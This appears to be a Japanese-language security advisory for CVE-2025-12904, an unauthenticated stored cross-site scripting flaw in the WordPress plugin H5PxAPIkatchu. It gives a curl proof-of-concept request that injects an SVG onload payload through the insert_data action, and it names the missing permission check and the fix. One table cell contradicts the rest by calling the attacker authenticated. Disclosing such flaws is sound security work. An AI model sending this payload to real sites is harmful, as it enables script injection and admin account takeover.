SNORDIAN's-H5PxAPIkatchu-CVE-Report

CVE-2025-12904 の開示

CVE-2025-12904 - SNORDIAN's H5PxAPIkatchu の脆弱性

このリポジトリは、otacke によって開発された WordPress プラグイン SNORDIAN's H5PxAPIkatchu <= 0.4.16 で発見された脆弱性を開示するものです。

🛠 影響を受けるバージョン

製品: SNORDIAN's H5PxAPIkatchu
バージョン: v0.4.16
URL: https://wordpress.org/plugins/h5pxapikatchu/

🔒 割り当て済み CVE

CVE ID	タイプ	コンポーネント	影響
CVE-2025-12904	insert_data を介した未認証の格納型クロスサイトスクリプティング	class-table-view.php	認証された攻撃者が JS を実行できる

🧾 詳細な説明

CVE-2025-12904 — insert_data を介した未認証の格納型クロスサイトスクリプティング

影響を受けるコンポーネント: h5pxapikatchu 管理ページ
攻撃ベクター: 未認証（POST リクエスト経由）
トリガー: 攻撃者は insert_data アクションを悪用して任意のスクリプトを保存させることで、管理インターフェースに悪意のあるスクリプトを注入できます。

curl -i -X POST 'http://localhost:8080/wp-admin/admin-ajax.php' \
  --data-urlencode 'action=insert_data' \
  --data-urlencode 'xapi={
    "object":{"id":"http://localhost:8080/?id=2"},
    "result":{"response":"<svg onload=alert(1)>"}
  }'

※object 内の id が存在しない場合、失敗します。

影響: 保存されたスクリプトが実行される可能性があり、アカウント乗っ取りなどの深刻な被害をもたらすリスクがあります。

❓脆弱性の原因

insert_data() 関数は権限チェックを一切行っておらず、認証なしで悪意のある入力を保存できてしまいました。さらに、これらのエントリは管理インターフェース上でエスケープされずに表示されていました。

insert_data() 関数で current_user_can を使用することで、不正な実行を防ぐことができます。
echo $value ではなく esc_html($value) を使用することで、XSS の実行を防ぐことができます。

ひとこと

PoCを作成するのがとても大変だった。

--data-urlencode 'xapi={
    "object":{"id":"http://localhost:8080/?id=2"},
    "result":{"response":"<svg onload=alert(1)>"}
  }'

この部分の再現にとても時間を使ってしまった。curlコマンドをもっと使いこなせるようになりたい。あとこのプラグイン...色々と大丈夫？とくに、名前とか、さ。

🔍 発見者

名前: MooseLove
役割: 独立系セキュリティ研究者 / バグハンター
連絡先: リクエストがあれば提供します

📚 参照

製品: https://wordpress.org/plugins/h5pxapikatchu/

⚠️ ライセンス

本アドバイザリは、一般のセキュリティ啓発を目的として提供されています。出典を明記の上、自由に共有してください。

SNORDIAN-s-H5PxAPIkatchu-CVE-Report

人気